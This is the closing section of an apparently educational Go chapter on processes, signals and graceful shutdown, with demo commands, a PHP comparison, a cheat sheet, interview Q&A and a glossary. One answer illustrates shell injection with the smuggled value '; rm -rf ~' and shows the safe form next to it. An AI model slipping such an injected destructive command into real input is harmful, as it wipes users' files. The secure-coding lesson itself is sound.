bash
go vet ./... && go test -race -count=1 ./...
# ok  academy/os-processes-signals/execrun   1.5s
# ok  academy/os-processes-signals/exitcodes 2.3s
# ok  academy/os-processes-signals/graceful  2.5s
# ok  academy/os-processes-signals/pidlock   1.3s
# ok  academy/os-processes-signals/pipes     1.3s
# ok  academy/os-processes-signals/procinfo  1.2s
# ok  academy/os-processes-signals/proctree  1.3s
# ok  academy/os-processes-signals/signals   1.4s

2. Graceful shutdown with a request in flight (real) ​

bash
go build -o /tmp/svc ./graceful/cmd/service
ADDR=127.0.0.1:18080 /tmp/svc > svc.log 2>&1 &        # the service
SVC=$!
curl -s -w 'slow: %{http_code} after %{time_total}s\n' http://127.0.0.1:18080/slow &   # a 2 s request
sleep 0.5; kill -TERM $SVC                   # SIGTERM while it is in flight (SVC = pid of the service)
curl -s -o /dev/null -w 'readyz during drain: %{http_code}\n' http://127.0.0.1:18080/readyz
sleep 4; curl -s -o /dev/null -w 'after: %{http_code}\n' http://127.0.0.1:18080/readyz
# finished
# slow: 200 after 2.002413s
# readyz during drain: 503
# after: 000                       <- connection refused: the listener is closed
cat svc.log
# level=INFO msg=listening addr=127.0.0.1:18080 pid=63945
# level=INFO msg="shutdown requested" cause="terminated signal received"
# level=INFO msg="readiness off, waiting for the load balancer" delay=1s
# level=INFO msg="http drained"
# level=INFO msg="workers drained"
# level=INFO msg="resources closed"
# level=INFO msg=bye

3. Exit codes (real) ​

bash
# main.go: defer fmt.Fprintln(os.Stderr, "deferred ran"); os.Exit(3) when arg is "exit", else panic("boom")
./x            # deferred ran
               # panic: boom
               #
               # goroutine 1 [running]:
               # main.main()
               #     .../main.go:13 +0xa4
echo $?        # 2
./x exit; echo $?   # 3   (and "deferred ran" is NOT printed)

4. A second Ctrl-C (expected, not run in CI) ​

bash
ADDR=127.0.0.1:18080 ./svc     # press Ctrl-C once: the log shows "shutdown requested"
                               # press Ctrl-C again during the 1 s drain: process exits at once
                               # (the program calls stop() after the first signal, restoring the default action)

5. Linux cgroup CPU limit (expected, not run) ​

bash
# Go 1.25+, a container limited to 2 CPUs on a 16-core host:
docker run --rm --cpus=2 -v "$PWD":/w -w /w golang:1.25 go run ./procinfo/cmd/procinfo   # prints NumCPU and GOMAXPROCS
# expected: NumCPU=16 GOMAXPROCS=2      (Go 1.24: GOMAXPROCS=16)

Label: expected, not run. The cgroup-aware default is documented in the Go 1.25 release notes; this machine is not a Linux container host.

6. Kubernetes manifest for the same service (expected, not run) ​

yaml
spec:
  terminationGracePeriodSeconds: 40       # > preStop 5 + drain 1 + shutdown 5 + workers 3 + slack
  containers:
    - name: app
      image: example/app:1.0
      readinessProbe: {httpGet: {path: /readyz, port: 8080}, periodSeconds: 2}
      lifecycle:
        preStop: {exec: {command: ["sleep", "5"]}}   # covers endpoint propagation

For PHP/Laravel developers ​

TaskPHPGo
Run a programproc_open, exec, shell_exec, Symfony Processexec.Command
Shell by defaultexec("ls $dir") goes through shNo shell; opt in with sh -c
Timeoutset_time_limit, Symfony Process::setTimeoutCommandContext, WaitDelay
Signalspcntl_signal, pcntl_async_signals(true) (CLI only)signal.Notify, NotifyContext
Graceful stop of a queue workerphp artisan queue:restart, queue:work finishes the current jobShutdown, worker drain
Reload without dropping requestskill -USR2 the FPM master (graceful reload), SIGQUIT graceful stopShutdown; replace the process behind a proxy
Who is the process managerPHP-FPM masterYour binary + systemd or Kubernetes
php
<?php
// PHP: pcntl signals exist only in CLI; PHP-FPM requests are not interrupted by them.
pcntl_async_signals(true);
pcntl_signal(SIGTERM, function () use (&$running) { $running = false; });
while ($running) { /* process one job */ }

$proc = proc_open(['git', 'rev-parse', 'HEAD'], [1 => ['pipe', 'w']], $pipes); // array form: no shell

PHP-FPM's master process manages workers; SIGQUIT on the master is a graceful stop and SIGUSR2 an FPM graceful reload (it re-executes the master and lets workers finish their requests), and process_control_timeout limits how long workers get to react to signals from the master (default 0). Laravel's queue:work handles SIGTERM by finishing the current job. A Go binary has no master process: your main is the master, so everything this chapter shows is code you own.

Common misconceptions ​

BeliefReality
defer always runsNot on os.Exit, log.Fatal, SIGKILL or a fatal runtime error
kill killsIt sends a signal; only SIGKILL and SIGSTOP cannot be handled
exec.Command("ls -l") worksIt looks for a program named ls -l; arguments are separate strings
Non-zero exit means the command failedIt is an ExitError with a code; many tools use codes as answers
Start is enoughWithout Wait you leak a zombie and goroutines
Killing the child kills its childrenOnly a process-group kill (-pgid) does
ErrServerClosed is an errorIt is the normal result of Shutdown
Shutdown with the signal context worksThat context is already cancelled; use a fresh timeout
Kubernetes removes the pod from the Service before SIGTERMIt happens in parallel; add a preStop sleep
GOMAXPROCS follows my pod's CPU limitOnly on Go 1.25+, and only for limits, not requests
A PID file prevents a second instanceOnly a kernel lock does
Go programs need to daemoniseRun in the foreground under a supervisor

Cheat sheet ​

TopicWhat to remember
exec.CommandNo shell; separate arguments; -- before untrusted values
CommandContextKills on deadline; add Cancel and WaitDelay
Run / Start+WaitAlways Wait; reads before Wait
ExitErrorExitCode() is -1 for signal deaths
Process groupSetpgid, syscall.Kill(-pid, sig)
NotifyContextos.Interrupt, SIGTERM; call stop() to restore default
Notify channelBuffered, at least 1
SIGKILLCannot be caught; design for it
ShutdownFresh timeout context; ErrServerClosed is success
OrderReadiness, drain delay, HTTP, workers, flush, close
KubernetesGrace 30 s default, preStop sleep, readiness off, exit 137 = killed
systemdTimeoutStopSec=, KillMode=control-group, Restart=on-failure
Single instanceflock(LOCK_EX|LOCK_NB)
GOMAXPROCSGo 1.25 reads cgroup CPU limits; older: automaxprocs
Exitos.Exit skips defers; panic exits 2; main returns 0

Self-check: questions & answers ​

Show:
  • Must-know asked in almost every interview
  • Important frequent; expected at senior level
  • Good to know extra depth that sets you apart

1 — Why is exec.Command("sh", "-c", "grep "+userInput+" f") dangerous and what is the safe form? Must-know ​

Answer

Answer: The shell re-parses the whole string, so ; rm -rf ~ in userInput becomes a second command. Safe form: exec.Command("grep", "--", userInput, "f"), which has no shell; put -- before values that may start with -.

2 — What does ExitCode() return for a child killed by SIGKILL, and how do you see the signal? Important ​

Answer

Answer: -1. Inspect ProcessState.Sys().(syscall.WaitStatus) and call Signaled() and Signal(). The shell would report 137.

3 — Why can cmd.Wait() hang after the context deadline fires, and what fixes it? Important ​

Answer

Answer: The kill reaches only the direct child; a grandchild that inherited the stdout pipe keeps it open, so the copying goroutine never sees EOF. Set WaitDelay (Go 1.20+), and kill the process group.

4 — Why must the stdin writer run in its own goroutine when you also read the child's stdout? Important ​

Answer

Answer: Pipes are bounded. A large input fills the child's stdout pipe, the child blocks and stops reading stdin, and the parent's write blocks: deadlock. Concurrent write and read avoids it.

5 — Which signals can a Go program not catch, and what are the consequences? Must-know ​

Answer

Answer: SIGKILL and SIGSTOP. No deferred function or shutdown code runs on SIGKILL, so durable state and idempotent restarts are the only defence.

6 — Why is signal.Notify with an unbuffered channel a bug? Important ​

Answer

Answer: The runtime sends without blocking; if the receiver is not ready, the signal is dropped. Use a buffer of 1 or more, or NotifyContext.

7 — After srv.Shutdown(ctx) is called, what do ListenAndServe and Serve return and why does it matter? Must-know ​

Answer

Answer: http.ErrServerClosed (http: Server closed), immediately. It is success, and main must keep waiting until Shutdown itself returns or in-flight requests are cut.

8 — Why does a Kubernetes service need a preStop sleep or drain delay even though it handles SIGTERM? Important ​

Answer

Answer: Endpoint removal and SIGTERM happen in parallel, and proxies and load balancers update with a delay, so traffic can still arrive after SIGTERM. Readiness off plus a delay keeps the listener open while they catch up.

9 — What is the relationship between terminationGracePeriodSeconds, preStop and your shutdown timeouts? Must-know ​

Answer

Answer: The countdown starts before preStop, so preStop time is spent from the same budget. preStop + drain + Shutdown + workers + close must be under the grace period with slack, or SIGKILL (exit 137) cuts the tail.

10 — Why does flock beat a plain PID file for single-instance checks? Good to know ​

Answer

Answer: The kernel releases the lock when the process ends, even on a crash, so there is no stale state; a PID file can be left behind and its number reused.

11 — What changed in Go 1.25 about GOMAXPROCS, and what did it not change? Good to know ​

Answer

Answer: On Linux it defaults to the cgroup CPU bandwidth limit if lower than the CPU count and updates periodically. It ignores Kubernetes CPU requests and is disabled when GOMAXPROCS is set explicitly.

12 — A Go program panics; which exit status does the shell see and do deferred calls run? Must-know ​

Answer

Answer: 2, and deferred calls run during unwinding before the trace is printed and the process exits.

Glossary ​

TermMeaning
ProcessA running program with its own address space, PID and exit status
PIDNumeric process id; os.Getpid()
PPIDParent's PID; os.Getppid()
os/execPackage for starting external programs
exec.CommandBuilds a Cmd; no shell
exec.CommandContextSame, killed when the context ends
Output / CombinedOutputRun and capture stdout / stdout+stderr
Run / Start / WaitRun and wait / start only / reap
StdinPipe / StdoutPipePipes to the child; create before Start
ExitErrorError for a non-zero or signal exit; ExitCode()
exec.LookPathFinds an executable on PATH
Shell injectionUntrusted text parsed by a shell as commands
SysProcAttrPlatform-specific process attributes (Setpgid, Setsid, ...)
Process groupSet of processes signalled together; kill(-pgid)
Zombie processExited child whose status was not read yet
SignalAsynchronous kernel notification to a process
SIGTERMPolite stop request; the orchestrator signal
SIGINTInterrupt, Ctrl-C
SIGHUPHang-up; reload convention
SIGKILLUncatchable kill
SIGQUITQuit with goroutine dump
signal.NotifyForward signals to a channel
signal.NotifyContextCancel a context on a signal
Graceful shutdownOrdered stop: readiness, drain, close
Server.ShutdownClose listeners, wait for active requests
ErrServerClosedNormal return value after Shutdown
DrainLet in-flight work finish while refusing new work
Readiness probeOrchestrator check that gates traffic
preStop hookKubernetes hook before SIGTERM
terminationGracePeriodSecondsKubernetes time from delete to SIGKILL
TimeoutStopSecsystemd wait before SIGKILL
errgroupGoroutine group with first-error cancellation
PID fileFile recording a process id
flockKernel advisory file lock
DaemonBackground service; today run by a supervisor
GOMAXPROCSThreads that may run Go code at once
cgroup CPU limitKernel-enforced CPU quota of a container
automaxprocsLibrary that sets GOMAXPROCS from cgroups
RlimitPer-process resource limit, soft and hard
EMFILEProcess out of file descriptors
x/sys/unixMaintained Unix system call package

References ​

Opening quote: net/http Server.Shutdown doc comment, Go source.

Built by Morteza Negahi